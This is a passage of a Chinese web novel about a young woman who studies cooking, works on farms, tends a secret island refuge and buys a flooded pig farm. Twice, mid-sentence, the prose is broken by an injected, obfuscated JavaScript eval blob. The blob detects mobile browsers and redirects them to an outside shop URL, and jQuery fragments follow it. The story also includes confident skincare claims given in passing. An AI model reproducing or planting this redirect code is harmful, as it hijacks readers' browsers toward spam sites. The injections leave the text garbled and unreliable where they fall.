“……我就是想,过几年攒了钱买个小小的牧场,养些牲畜、种一点自己吃的有机蔬菜,有个小发电机可以让我在外面自己用电动工具组装一个奇形怪状的活动小房子,有风扇,有壁炉,做好了还可以用车子拖着去森林里露营,比搭帐篷舒服安全多了!我还可以拍棕熊的照片!啊,当然,得带把木仓,还有汽油桶什么的。”
“……厨房必须有,钓到的无污染鱼难道还要放回去?!说到没有污染,我还是觉得作为一个负责任的地主,咳,我现在还不是,应该用太阳能和风能结合的发电装置,特别是用来照顾牲畜,储存粮食和处理有机肥料,光一个太阳能不太够用,刮风的时候也有风能,但是这里就涉及电的储存,我知道这是化学问题不是物流问题。”
学院间活动的时候,苏茜就跑过去机电学院问他们会不会“造”东西,问到的情况让人无语。同时她的“美好生活”设想也让机电学生们无语。
打算弄农场的人不应该研究农机吗?哦,这位对本州会使用的大部分农机都很了解,包括品牌、零售价和供应商销售经理价,以及开着新农机路过哪个加油站加柴油最便宜等等的“常识”统统知道。话说,一个地中海式烹饪艺术的学生知道那么多连农牧场主都不知道的东西干嘛?!
苏茜遗憾地放弃了在机电学院找个朋友一起研究造机器的设想。
“……我本来觉得机电学院那边的几个专业都应该是富有创造力的,可现在想想,大家来拿文凭,大部分为了在工厂里找个工资高一点的工作,其他人是想去常青藤。所以我突然就没了兴致,你知道的,各种兴致。”烹饪专业女生不多,苏茜这样身材长相发型包括化妆综合起来在学校里能排中等的更不多。拼命念书和打工没有男朋友的女生更少。
“行了,我知道机电学院那里渣男不少。对了,我的良心建议是,一定要注意避.孕,不行第二天就吃药,免得男人根本不想结婚只想玩。”红发女孩贝蒂很为自己天生的红头发得意,前后交了几个不错的男友,就是不知道怎么回事一个比一个渣,前男友甚至拒绝结婚的同时还提议他们可以生孩子了,让她空窗了半年都对恋爱提不起什么兴趣。“真不明白现在这个社会怎么了。”
苏茜倒是对此适应良好。对她而言其实这个时代已经比较保守了,连中性都不提。嗯,想起她曾经在欧洲的标签是中性偏女而大受欢迎……其实当时她也是为了打进那个社交圈子,后来也确实赚到钱了,可惜都在当时的银行没提出来,也不知道最后便宜了谁。“你如果去了北欧就习惯了。他们都是不结婚生孩子的。”
“难道各个都是私生子?”
“当婚姻已经没有多少共同财产的时候,结不结婚压根不重要。”
“……你说詹姆不想结婚是因为……”
“不想负责任是肯定的。这样一旦对感情腻味了,没钱了,或者被孩子的哭声吵得受不了,就可以直接走人。你还要祈祷他不要欠了债跑路让你还债。”还有更糟的,她见多了。
“……”
* * *
“可惜苏茜就是太穷了,没钱买漂亮衣服首饰和做发型。不然光凭做的食物也能找个不错的丈夫人选。”即使是在社区学院,穷得去养猪场清理发酵粪肥的姑娘也是挺少见的,一般除了自己搞养殖,女生都不乐意沾上味道。幸好苏茜出现在校园里时都是带着一股清新的马鞭草味。
“听说她想以后当个地主。”
“但愿不要选到会被淹没的地方。我知道有一个小农场,十年被淹了两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976274|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次,最后把农场卖给一个富豪。那个富豪干脆弄了个滨水庄园,一年开几次派对的那种。”
“哇!你去过吗?”
“很遗憾,没有。”
这个年代的女孩子分歧非常大。有的自己创业潇洒过活,有的就指望认识个好男人嫁了、像母亲祖母那样当个主妇生若干孩子,少数由家族安排相亲联姻,当然还有十几岁的底层单亲妈妈。
被人说着的苏茜通了个宵,随便洗漱下吃了点东西当早饭,回来等老师打分。
八小时做出来的酱,当然优秀——即使味道完全不对,不是优秀也有保底及格。
“不同的地区、不同的口味,有不同的做法。比如中国南方的一种腌菜,制作过程两周,需要放置超过五年的时间才有更好的口感。当地还有一百年的腌菜,不过那已经是收藏品了……东南亚和东北亚的很多酿造发酵类的调料都需要六到十个月的制作过程,而且必须每周都要察看发酵的情况。”别人讲欧洲她就扯东南亚,别人讲美洲她就整地中海——除了英式和美式,其他都是美食,沙漠食物风味都别具一格呢。“同一个部位,不同地区和方法做出来的都美味得各有特色。举个例子,猪蹄。你们谁吃过?很好,一个都没有。下一次我就做两种完全不同口味的猪蹄让你们尝试下……”
苏茜在学校里小有名气。因为她不仅能用当地语言推荐当地美食,能和农机专业教授讨论哪种发动机更适合本州的土质和作物,还是唯一一个会亲自上手将猪粪处理为肥料的女生。
本州气候的最大缺点是时不时闹旱灾,偶然也有水灾,她的租房处只有淋浴没有浴缸,不过当地可燃材料特别多,各种作物收割后的秆子一块钱一露营车地拖走。她在岛上晾晒干,塞进自己在山洞口用耐火砖一点点砌起来的炉子里烧开雨水水缸里存下的水,冷水直接取水缸上层还算干净的水,两者合在一起倒入特意买的陶瓷大桶,加上自己用蒸馏实验器材做的马鞭草纯露,最后整个人连头发都浸到桶里。等最后爬起来,回自己的阁楼冲洗,身上的猪味就彻底没有了。
难怪小型养殖场压根活不下去,绝大多数的年轻人肯定不乐意这身味道,而如果给太高的工资则会赔本。大公司的员工如果穿一身防护服加上自动机械和养老金,还是能招到足够多的工人。
“苏茜,真是感谢。”老夫妇两个给工资给得还算大方,往往加一点凑成整数。
“没关系,你们除了工资还给了我猪肉。”苏茜拎起一堆“没人要”的部位,挥手告别。“下周见。”
回到达亚娜家,苏茜花了不少时间清洗处理和蒸烤。晚饭祖孙二人吃了猪肝米粥、烤猪蹄和蔬菜卷,冰箱冷冻和冷藏里还有几块分切好的肉片肉丝,以及玉米炖猪手。除了猪肉猪肝,其他所有食材和水电都是达亚娜家现成的,苏茜就出了养猪场送自己的肉和劳动力,而达亚娜能以挺低的成本吃到两三餐新奇好吃的食物,两人各取所需。
不吃隔夜菜什么的,在六十九岁、曾经的非法移民老人这里真心不是事。何况这锅中国菜实在太好吃了!第二天早上,达亚娜就忍不住拿出几块肉和玉米就面包,然后在十二点前就全部吃光了。要不是健康情况不允许,外孙女也不可能天天跑来做饭,她真想顿顿吃肉到饱!
苏茜则是带上冷冻了好几个小时的生肉开车回学校。
她的住处这两天停电,起码明天才能修好,她干脆开回学校然后住露营车得了。晚上开车不是多麻烦的事,但并非特别安全,尤其这里不控木仓。呃,木仓击案倒是大部分在白天,晚上的都是杀人案。
苏茜加满油还外加买了一小桶油,锁上车门。杂物箱里放了一柄带着专用消.音.抑制器的.22小手木仓,花了她半个多月的打工收入,特意跨州买的。
这一路没有额外消耗她的子.弹,甚至都没碰到人。更幸运的是,第二天凌晨开始下雪,而她早就将生肉塞进大冰箱,然后躺在温暖的小小空间内入睡。
……
学生们平生第一次吃到带着明显甜味的猪蹄,以及与蔬菜一起快炒的猪肝,还有切成片后用烧烤、酱爆、炖汤、辣炒、凉拌、蒸蛋等多种手法做的猪心!
“为什么猪心有那么多吃法?”不都是扔掉的废物。
“蒸蛋!我记得苏茜用海鲜和鸡蛋做过好几种菜。”
“还有腌制的鸭蛋。蛋白很可怕,蛋黄特别好吃。”
“我已经把肉皮都吃完了,特别好吃。谢谢。”
“混蛋!”
“……”
“……”
“苏茜,我现在知道为什么你不是那么在乎摆盘艺术。因为从第一口开始,大家都不会看,只会吃。”
“摆盘我也会,只是普通的菜肴懒得弄。而且没有漂亮的盘子就少了一半的美观。”
“……行吧。”呃,肉似乎吃得太多,晚上去健身房吧。
接着大家就看见,苏茜弄出来一柄铁壶,很典雅的亚洲铁壶款式,然后,将一大勺茶叶不加水直接放进铁壶,放在电炉上烧,还用一把长勺子,翻炒茶叶?
接着苏茜倒入刚才烧开了一直放在那的水,再加玫瑰干花和几种草本植物。很快的,茶水就在壶里煮开了。
苏茜将有着独特香气的茶水倒入一排玻璃杯里,抓来糖罐和奶罐自己加,再将最后一些茶水倒进自己带来的保温杯。
“这个铁壶挺贵的吧?”老师是有见识的人。
“如果在日本奈良的老工匠手里买的古典手工制作款,估计需要一千块。不过我这个是工业款,便宜。”现在找老家那里做不会超过五十块。
学生们学着老师,什么都不加地慢慢开始喝这茶水——口感还不错。
本来同班同学里有不少是冲着法式大餐来学习的,不过在苏茜强势多变的口感攻击下,都陷入了迷惘。尤其是苏茜来了一次本地版怀石料理和满汉全席美式缩减版作为期中期末实践考试,瞬间就让人忘记了煎牛排上的法式淋酱。
不过在意语专业的课堂上又是另一回事。
“地中海式烹饪艺术的灵魂,就是橄榄油和葡萄酒,当然还有新鲜的蔬菜肉类和奶制品,以及各种各样的香料植物。请忘记意大利面和披萨。我们先从古老的博洛尼亚肉酱千层面开始。”
3. 开局一荒岛(三)
在温度适宜的时候,山洞的地面用水泥填平、铺平,并且铺了一条斜坡到下方的水渠附近。
靠近洞口的地方是真正不锈钢单人床,洞口用电钻打了几个地洞、按上木桩,再围上挡风板。挡风板只遮住一大半的洞口,其余的仍然敞开着,方便通风和进出。
储水池一路往下延伸到靠近海边的地方。
荒岛地形是一面山石另一面坡地包括少量比较平坦的地面,海边没有沙滩,全部是黑灰色礁石。总体面积不是很大,可供应一个人吃的耕地和大棚的话是足够了。
岛上无法进活的禽畜。所以与其养鸡,还不如直接拿进来鸡肉。
或者学学如何从大海里弄食物。
早知道就只上一个专业了……这个念头在她脑袋里转了半圈就清理出去。她还想念机械和畜牧业以及环境保护……哪怕仅仅是专科,这学校为了付费的学生考虑,上的都是专业课,最多加一点数学之类的基础课程,一口气吃不出胖子。
苏茜直到现在都不知道如何“赶海”。她所知道的赶海是在滩涂,可在礁石遍布的地方,也就是吸附在礁石上的贝壳和偶然路过的鱼蟹。
这里的壳类有圆的有三角形的,大小不同、凸起程度也不一样。反正都叫小海鲜,这点没错!苏茜正笑着,突然笑容凝固:弄小海鲜的专用工具,她好像没有啊!算了,拿小匕.首也是可以的。哦,还有螃蟹,记得是有长夹子的?
她盯着礁石缝隙里的一只钳子,然后直接上手,迅速“握住”那只张开搞不好能钳断人手指头的双钳,再用力往外拉,顺便另一只钳子也一把握住。蟹钳的力气肯定没有她的手劲大,四钳被牢牢桎梏住,呃,连个桶也没有,只能一路捏着回山洞。
将偌大的海蟹塞进储水塑料桶,在它要爬出来的时候盖上盖子,还用毛巾保护手将俩钳子也一起塞进去,外面绑一圈绳子。完美。
接下来就是翻找各种调料。得城的黄酒好贵,目测是老家价格的二十倍,她是买了几坛塞进山洞最深处当储备物资的。没有葱姜和米酒,就用柠檬、罗勒叶、紫苏、醋、黑胡椒颗粒。还有一颗生菜。外加一锅自来水!
她有两口不锈钢大锅,一口是烧水的,一口是煮食物的。打火机生火,自来水倒进锅,煮开后,再次费劲将螃蟹塞进开水。然后调料切两刀一股脑也加进去——炉子烧的是炭,拿出来还得浇水熄灭,就开着盖子继续中大火煮着吧。
反正岛上不会有被香味吸引来的动物。倒是有小海鲜等着她去采集。
苏茜看着表,然后写购物清单。
充电灯,防腐木材,菜种子,莲子,驱蚊菊酯产品,蜡烛,火柴,大小水桶,可降解大花盆或是陶瓷盆……加起来,又是将打工收入清空的单子呢!
一个冬天过去,岛上一年大体气候都搞清楚了。之前一直没有认真监测记录,只是知道最冷也是零度以上。现在有了仪器就不一样,温度湿度降雨频率虽然不能说已经彻底搞明白,但结合几辈子的经验印证着就行了。
二十五分钟过去,再将生菜下锅烫熟。吃蟹八件套她还有,就是没有搞得动大钳子的工具,所以她又拿出来专业钳子和剪刀——还是那句话,没有老家的产品过来,一个个都贵得要死,而其实真正生产的人拿得并不多,钱都砸在一年比一年高的房租和每周平均只卖得掉五套的销售人工上了。即使没有竞争者,这要是上了电商,也能便宜三成……
蟹肉真好吃!哪怕蟹黄不多,可因为是新鲜无污染,肉质极其软弹鲜美。她没准备蘸料,更不想焗烤。
美食带来的好心情一点也没有受到大雨的影响。餐桌靠近洞口,但是雨水全部被挡在洞外,充电灯又带来了光亮。吃着绝对新鲜的蟹肉,腿边是暖暖不会烧到衣服的炉火,身上是加绒冲锋衣,在华氏60度的雨天里堪称享受生活。
得城的夜间不到华氏50度。苏茜没开很是费电还不能变频控制温度的取暖器,而是直接钻进两层加了被套的薄羽绒被子里。被套衣服这种都是房间里洗了带进岛上的透明小温室里晒的,被子也在晴天晒过。小温室就是个塑料棚子,放了石头固定,合上塑料布,就不怕突然下雨。所以她连有些小贵的消毒液都省了。
此外,雨水净化“设备”也进展不错。她在图书馆泡了挺久,还厚着脸皮去问其他学院的老师,理由是户外生存如何自制饮用水,并且引申到水净化循环利用。
海水淡化处理的设备太大、太贵,还得不偿失,不如将注意力放在岛上充沛的雨水。最后她用鹅卵石、无烟煤、石英砂、陶粒、两种活性炭、锰砂、甚至还加了纤维状工业材料作为滤材——比买过滤水滤芯便宜多了——水质检测结果达到饮用水标准。事实上,她检测了沉淀后的雨水,无污染,软质水,其实滤掉泥沙煮了就能吃,不煮就喝也不会出大问题。所以过滤后的水理论上可以直接喝。不过除非紧急情况苏茜是不会直接喝冷冷的生水。
农场又开始忙活。好在这个学期学校的实践课变多了。苏茜很随意地将烹饪实习地点定在镇上唯一的正经餐厅而不是快餐厅或酒吧。大厨的能力她有,但她是零工实习生,所以专业“打下手”。好几种招牌酱料听说是老板秘方,她不去碰;沙拉受限于材料,就三种,杂工都能做;五分熟的牛排,真心看不出有多高的技术含量,同班同学起码有三成比本店厨师兼老板亲戚做得好。所以苏茜每次来打工都是做本日特色菜,有什么新鲜食材就做什么,非常随性。从羊腿到兔肉,甚至本地人吃腻了的土豆也“创新”了两种菜色,反正老板和付钱的食客都说好吃就行了。唯一可惜的是本地产饲料豆并非黄豆,没法做菜。
* * *
“我在自己制作培育土,用来种菜和水果效果很好,各种菜,生菜菠菜卷心菜甘蓝辣椒还有草莓,土壤检测数据也很好。但如果投入实用,肯定要工业化大生产,一袋子做出来的就只够分给大概五十株草莓的样子,一株草莓结六个果子,还有土地人工灌溉和损耗……得将成本降到一公斤一两块吧,不然哪怕高级有机食物能卖不错的价格,也不可能太离谱。除非只用来培育高级郁金香?”苏茜现在对自己的估价能力完全不信任,因为她觉得这种发酵剂一袋零售价一块钱出厂价一半也足够了,但现在看见一小袋的报价居然要六块多。也许这是没有工业化大生产的结果?
“这就不是我们能决定的了。”男学生耸耸肩。他参与了这个项目,成绩也达到副学士,不仅现在有了大公司的OFFER,还可以申请去读硕士——他正在纠结去哪边。
苏茜也很遗憾。这成本太高了,没有老家帮忙打下来价格根本不实用!还是继续用化肥吧。
不,考虑到污染问题,还是自己弄枯枝败叶来烧成草木灰吧……
所以为了大概两顿左右的干燥麦秆,她将一整个农场的秸秆翻晒晾干再整齐地覆盖到播种带之间,再提早打农药。因为开着三种大型农机,她花了几天时间就都搞定,但是带着隔噪音耳塞每天工作十个小时也是够呛——几次上厕所都是去岛上马桶解决,不然来回二十分钟会被扣时薪的——好在老板没小气,没有扣减吃午饭的时间,还给了每小时八块钱的“高薪”,差不多可以付两个月的房租了,却不够买个连稳压器都不给配的三千瓦小发电机!
可是没有发电机,她各种装置都是充电或是用电池的,也不便宜啊,合起来多支出的费用并不比发电机便宜多少。
所以,必须让老家的工厂来参与竞争,不然这工业大国生产的工业品也太贵了,堪比通货膨胀四十年后的价格。
气死了!她一头灰地又跑去养猪场,搞一身猪味一起清理!
等周一上午匆匆回到学校上课,她又是从头发丝到脚趾尖都是清爽气息。
“苏茜,你好像没怎么晒黑?”其他人都是去迈阿密度假,想晒成古铜色结果成了红脸皮,可这姑娘不是跑去农场干活了,结果看上去虽然不太白皙,可也不红?“咦,皮肤也不错,你用的什么面霜?”
“SPF50,PA++++防晒一天抹两次,面巾长袖长裤和手套。多喝水,多吃蔬菜水果,口服保健品,晚上用芦荟胶涂抹晒过的皮肤,还有,不熬夜。日晒和熬夜是造成斑点和皮肤衰老的最大外界因素,熬夜指的是12点以后睡觉。”另外,少用化妆品。现在的产品,尤其是比较便宜的,安全性都很难说。没看见四十年后的品牌货照样有翻车的,连名牌产品都有防晒霜不防晒、晚霜靠硅灵的假滑。哦,不,“你注意下别用含有聚二甲基硅氧烷的护肤品和洗发水。包装上没有标注成分的化妆品不要碰,可能含铅。”
“啥?”好专业的名词,没听过。嗯,至于熬夜什么的,姑娘们表示不通宵不青春啊,略过略过,回去看看好的眼霜。
“聚二甲基硅氧烷。”苏茜还特意写下来。“这东西只值几分钱,但是可以让你抹了之后觉得皮肤滑嫩,为之付出十块钱。”
“……如果没有标注呢?”
“换个产品。”
“那你推荐什么祛斑产品?”
“别用祛斑产品,有效的成分有害健康,没效果的就是浪费钱。建议用激光祛斑,打一次,在家不出门三天,就差不多了,比长期使用祛斑产品安全有效还省钱。”曾经她在医美上砸了不少冤枉钱,现在完全反过来,就一门心思攒钱找法子改善荒岛的长期环境,方便以后,以及可能存在的下辈子用,奔着百年目标去的。
哦对了,想起刚来不久衣服破了没法补也没钱买新衣服的尴尬,她扭头去买了一堆缝衣针、缝纫机用针和各色线头。当然,线这玩意想保存得久一些,避光真空收纳是基操,哪怕是尼龙丝线都没法在岛上潮湿条件下放个二十年还能用,更不要说棉线。所以真空包装小机器又得上购物清单了。
……
“苏茜!你能来我真是太高兴了!你真是拯救了老鲍勃。”餐厅老板老鲍勃其实才四十七,五年前盘下前任餐厅老板的店面接着开店。他属于怎么吃也不胖的类型,面相显老,看上去能有五十七,因此连他自己都自称老鲍勃——鲍勃甚至只是他中间名的变体,因为容易记又听起来很亲切、很小镇,所以就用这名字了。
“哦,鲍勃,如果你需要我干活,你就要好好给我写实习评语。”把需求放在台面上才是正理。
“那是当然!必须的!”鉴于苏茜会把自己做过的每一道菜都留下详细制作过程,哪怕他付出的其实是二厨的时薪也是赚的。
苏茜的时薪里,最低的要属养猪场,最高的目前是餐厅,但如果算上新鲜猪肉和草木灰原料收入的话,大体都差不多。
烹饪艺术的实习期真是棒极了,可以同时解决学业、收入和饮食问题,一举三得。而国际语言的实习期也简单,她挂了个本州的翻译公司,选了几种“冷门”语言的书面文件翻译,尤其是华语,呃,意语都没敢接,因为这真的是“外语”。
心情一好,苏茜来了道酸甜口的宫保鸡丁,和好几道皮塔薄饼做的烤串和沙拉,再配上希腊桃红佐餐酒,搞得不少人都来尝鲜。老鲍勃很高兴,唯一可惜的是他学起这些远中近东方菜式有些费劲。另外,谁能告诉他,为什么小麦粉为主料做的面饼有那么多名称?!最恐怖的是,他特意去买了好几套中国料理书,可苏茜给的名字和做法都对不上号!
他看到的什么鸡丁都是辣椒辣椒,而苏茜的则是特别受本地人欢迎的口味?还什么全部食材本地新鲜出产的中国菜,这说法为什么如此奇怪?
苏茜在给他“科普”了几十种地中海周边出产的特色佐餐酒之后,还好心地“简单”解说了下中国菜的菜系和“主要”特点。然后老鲍勃更晕了:请问中国西部的有好几百年历史的牛肉菜,和希腊某个半岛特有阳光雨露种植的葡萄酿的酒之间有联系吗?
苏茜表示一点不介意就此写一篇论文,然后用一桌子“异国风情”同时解决两个专业的学业。
就是累了亿点点。
……
两年多一点时间,两个专业的毕业文凭,外加打零工挣钱。苏茜的账户余额一直没有“恢复”到七万以上。但她不止完成了学业,还添置了很多东西包括发电机,另外陆陆续续造了很多东西,其中包括一个小屋。她按照各种推荐的庇护所图纸和建筑工程的书,在山洞和废弃集装箱中间,一点点用铲子、斧子、锯子、刨子、锤子加上水泥、防腐木头等原材料弄出来一个三角木屋,发电机跟电烤箱电磁炉微波炉等电器都放在没窗户的集装箱里,防腐木屋外面有隔音层和防雨贴层,木屋里有铸铁烧水烤火炉,铁桌椅床和马桶浴桶,电线管子、烟囱和出水口俱全,就是没有进水管。这个得过滤以后手动拎进来。此外也没有洗衣机,因为她挖了坑并与水渠连通,用现成的两只废弃浴缸清洁后当成洗衣洗物池。
遗憾的是,因为土质太差、雨水太多,埋进土里的草木灰和枯枝落叶还没有达到彻底改善土壤的作用,只有几十株灌木,因为是最早种也是适应水边环境的,已经半米高了,只能用来烧水煮菜;零星一点油菜、水稻、芹菜、蕨菜等还活着,卖相很差但可以吃;水稻目测没有收成,跟无法适应环境的两种树苗和死去的果蔬一样,只能挖了埋土里。
夏天到了。
苏茜没有退房子。她在市区有份工作日早餐厨师工作,还有不少翻译活要做、这需要在市区时不时找书找资料,周末则是比较固定地去养猪场和农场帮忙,就是周一凌晨需要大清洁后直接去做早饭比较难受。
尤其还是下大雨的时候,走到早餐车那边真的很麻烦。
“我们这里不会被淹没吧?密州那边好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976275|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情况不好。”
“得城以前有被淹没过吗?”
“据说很久以前是有过的。”
“啊!那我是不是要准备救生衣?!”
顾客们买完东西还不走,而且还是不穿雨衣不撑伞的聊天。苏茜表示无法理解。
“住一楼的需要将有价值的东西都准备好,不要浸水损失。”所以她给外祖母打电话,让她把不能泡水的东西全部打包,今天下午她去搬不常用的好放她的阁楼,老太太本人则去自家有三层楼的老姐妹家暂住几天。
“那汽车呢?保险公司好像不赔偿自然灾害的。”
“你买的是什么保险?”
“我打算停到山上去。”
“啊,哪里的山可以停车?停了以后骑自行车回来吗?”
“我没有自行车!”
“……”
“……”
“威妮,这辆车保险覆盖水淹吗?”
“覆盖。但是只对车,不包括厨具和食材。”餐车主人威妮也非常头大。“我家是二层楼,我还有救生衣这些。但是冰箱都在一楼。我们得吃完这些东西?”
“我住五楼阁楼,但是只有个小冰柜。”
“没关系,苏茜等会你把这筐菜带走就可以了。我觉得不太妙,那么多人一点也不专业地放沙袋,感觉挡不住河水。”威妮忧心忡忡地看着地面些微的积水。这些倒还好,就是怕河水瞬间倒灌。
“好的。”
早餐收摊得特别早。两个人都匆匆跑了。先上厕所,然后提着东西奔向不同的方向。
苏茜开着车,拖着露营车去外祖母家。
老太太毕竟经历过太多,早就打包了不少不能浸水或是舍不得浸水的,包括生存必需的物资和不多不少的钱——多了会被抢,少了会麻烦。
“达亚娜,你现在就过去吗?我送你去。”
“哦,不需要,我傍晚再去。你赶紧回去吧。你住阁楼比较安全,但是要多备水和蜡烛以及食物,免得停水停电交通阻断。”
“我知道。这些吃的你到时候一起带过去,算是房费了……这是过滤水壶还有净水片,按照说明书放净水片消毒,这样的水洗刷冲马桶也够了,再用水壶过滤后煮开三分钟还是可以喝的……感冒药都有吗?”
“有的,孩子。谢谢。”
镇上有一半是平房,所以互相认识的人都联系好了,发现不对就去有楼房的人家。农牧场都已经躺平,他们无能为力,而且保险里大多覆盖了灾害——也只能这样安慰自己了。虽然保险公司赔不赔、赔多少、什么时候到账是另一回事。
苏茜将东西搬上车,开着车回市区。
不过在接近市区的地方,她拐向一片农场地,从车里“拿出来”一辆自行车,然后骑回市区。
岛上的风可没本事把她的车子吹跑。她的车险里有意外险,但有限额,肯定不够换发动机的钱。
决堤了。
一堆采访直升机拼命在找报道点,哪怕看到有人快淹死了也是抓紧时间拍摄、急急忙忙闪人,绝不存在救人这么不“专业”的事情。
公寓楼一楼的住客,一家在外地不回来了。另一家在露台搭好了帐篷。二楼的几个单身住客和情侣也上来搭帐篷了。
苏茜当然没去凑热闹,但不得不翻出来几箱子矿泉水和日本泡面,还有电筒电池应急灯毯子防潮垫户外炉等等“备用”物资放在一旁。她最多只有去岛上用马桶的隐蔽时间?
哦,不是。肮脏的、混杂了地表各种物质的水漫进城市。但也只到一楼。本公寓一楼其实是一层半,所以实际上影响有限。
这些人很快就回家了,因为在顶楼露台“方便”的时候真的很不方便呢!看顶楼住户苏茜送给他们的车载马桶和垃圾袋……他们默默地将垃圾袋扔到楼下,然后拎着马桶回去继续用。因为马桶没水冲水。
一夜半天后,露台终于空了。
雨停了,水位不再往上涨,但也没有退去的迹象。很多地方停电,不过他们这几栋楼居然还有电!下水道目前还是好的,就是停水。苏茜将所有能充电的都充满,锁上门锁上窗,拉好窗帘,看上去像是保护安全和隐私,实际上去了岛上。阁楼没冷气没空调,只有一台风扇,室内温度能有华氏96度,热死人了快!
岛上夏日午后最高也就是90度、晚上平均不到80度,加上海风一吹,还没有蚊子,比阁楼舒服多了。不需要跑露营车里费汽油开空调,还能泡澡煮海鲜!
礁石上的贝类很多,苏茜因为业务不熟练,花了两个小时才撬下来半桶贝壳,绝大部分还都是只有半边,另外还有些都被浪费了。好在路上她还弄到好几个螃蟹,虽然不大,但那些鳌钳看起来有不少肉的样子。至于鱼就尴尬了,她抓了好几回都没抓住,而且用的还是据说海边抓鱼用的捞网!看来是她技术有问题。
拎着两只半满的带盖塑料桶,要不是她一直刻意锻炼体能和臂力,根本都运不回没有路的山坡上。看来最好搞条硬化路,方便用小推车运货,和小船。
因为怕拿到海上就吹没了,所以她的船至今还在山洞里生灰,甚至上面还堆了几大包密封的衣物被褥和防雨布!
前两天岛上一直在下雨,今天放晴,用储水池上部的水清洗海鲜,在山的阴影里将过滤的雨水煮开,加去腥调味料,再将海鲜一股脑倒进去。呃,其实应该有先后顺序的,不过算了,她又累又饿手都快发抖了。又拿来一包泡面,撕开包装,加开水煮一煮。先吃点补充能量。
等面加汤全部下肚,感觉好点了,再开始吃海鲜。废水倒进简易水渠,虽然当时修的时候花了两百个小时,但用起来是真的好用。这种生活废水肯定不能直接倒在土壤里,而如果运到海边又会累死。尤其是洗刷马桶的时候,与含泥沙的水一起冲下去还是挺好的。唯一不好的就是用过的卫生纸,之前她都是将垃圾袋带回住处扔,现在只能扔海里了。谁让楼下的垃圾桶都没了。
回到住处,翻翻来电显示,回电过去是达亚娜。她在老友家,她们的住处地势颇高,虽然是老房子,但建造的时候可能已经考虑到洪水问题,有一截很高的半地下室,因此现在除了半地下室基本上生活没有影响。可惜电力停了、电话暂时还能用,对这些老人反而问题不大,她们把冰箱里的食物全部拿出来,能吃的都吃,可以在煤气小炉子上烤干的弄干,加上囤的大瓶饮用水,还有苏茜给的滤水壶、净水片和泡面,可以撑一段时间。
挂了电话,苏茜犹豫片刻还是回岛上睡觉。小屋的木门因为安装技术不佳,后来干脆就没装,但是纱门是金属网纱,虽然岛上没啥虫蚁,更没有蛇,但有层东西还是好的,万一有路过的鸟类跑进来呢。她躺在住处移来的乳胶床垫和长绒棉床单上,盖着被单很快就睡着了。
4. 开局一荒岛(四)
供水在洪水退去后仍然没恢复,市区大部分的电力恢复了,但不少镇子上还没有,其中就有达亚娜那边。整个城市被太阳一晒,臭烘烘的。苏茜都不敢去农场,更不想踏足养猪场。好在那边也没有打电话来找她去打工,估计道路都不行。
等供水完全恢复则是十天后的事情。威妮只打了一个电话,说车子赔付和维修需要时间,开工日期不定。倒是家合作了两年的农场来问她有没有事,乐不乐意来干活清理田地,时间可能需要一周。苏茜答应了,还是将岛上的车子连同露营车一起开过去的,顺道带了不少泡面和饮用水。
她也就吃了两餐泡面,其他时间伙食相当不错,米饭面饼蔬菜水果一直没有断,只有用电饭煲和烤箱的时候在住处,其他都在岛上煮了吃,不然光是用水就不好解释。
最后苏茜在噪音、日晒和隔绝腐烂味的口罩下干了快十天,才和农场主和另两名工人一起,换人不换机器地将一塌糊涂的农场搞成可以种冬红麦的场地。
她累得够呛,但扣掉露营车用的汽油水电费等等最后能净得一千二,算是加班费和高温费累计在一起的“高薪”了。劳资双方都挺满意。
养猪场被淹了,猪一开始还是活着的,可能受凉又吃喝了不干净的水和饲料,在水退了后一个个都病了。这肉当然就卖不掉。
老夫妇二人损失惨重,因为烧病猪还要付不少钱,没保险的那种,而不烧会被投诉处罚。
“苏茜,你要买这个牧场吗?只要五万。”明显快不行的男主人问道。他之前询价,没人接受高于五万的。他们还有点养老基金和投资,社保虽然很勉强但确实还有点。但再经营下去……谁也不知道会不会血本无归。
这个连工人住房——现在都没工人了——加起来十二亩的小牧场?哦,英亩,其实十二英亩不算小了。苏茜把心里的账本迅速翻一遍。
“……好。我账户里的钱够了。”还能剩下两万左右,她可以再工作几个月,就能撑起来一个牧场了。所以她只考虑几秒就点头。还有,她不一定养猪哦!宁愿养几只鸡和大棚菜也不高兴养猪!还有那个彻底“消失”了的猪粪处理池可以直接改为秸秆焚烧处理池……难怪一路开来那气味如此有辨识度,想想那么多养殖场的化粪池还有没地方搬的化肥袋就知道。
呕——
* * *
“上帝啊!养猪场!哦——”这是年轻姑娘会喜欢的行当吗?开玩笑的吧!威妮在电话另一头都傻掉了。
“不,我打算改为小农场,自己种些有机蔬菜水果,养些鸡,自己吃。”
“自己吃!哦,苏茜,你一个人吃得完几英亩土地出产的蔬菜水果吗?”
“好的,吃不完我会打电话给你的。尤其是绿色有机蔬菜和草莓什么的。”
“啊!我好心动!不过记得要比我们的进货价便宜一点点哈。”在商言商好不好。
“我知道。明年等我消息!”应该不会赔钱。
“……明年!”
“是的,这一个月我得清洗消毒猪圈。”
“……”呃,她喜欢吃猪肉,但拒绝清理猪粪什么的。
五万买个设施老旧还没有活猪更不能机械化种地的小养猪场绝对不便宜,但也没当冤大头。附近还没有小于这个面积的农场,要么就是一个不到十亩的养鸡场,反正总价肯定都超过五万。
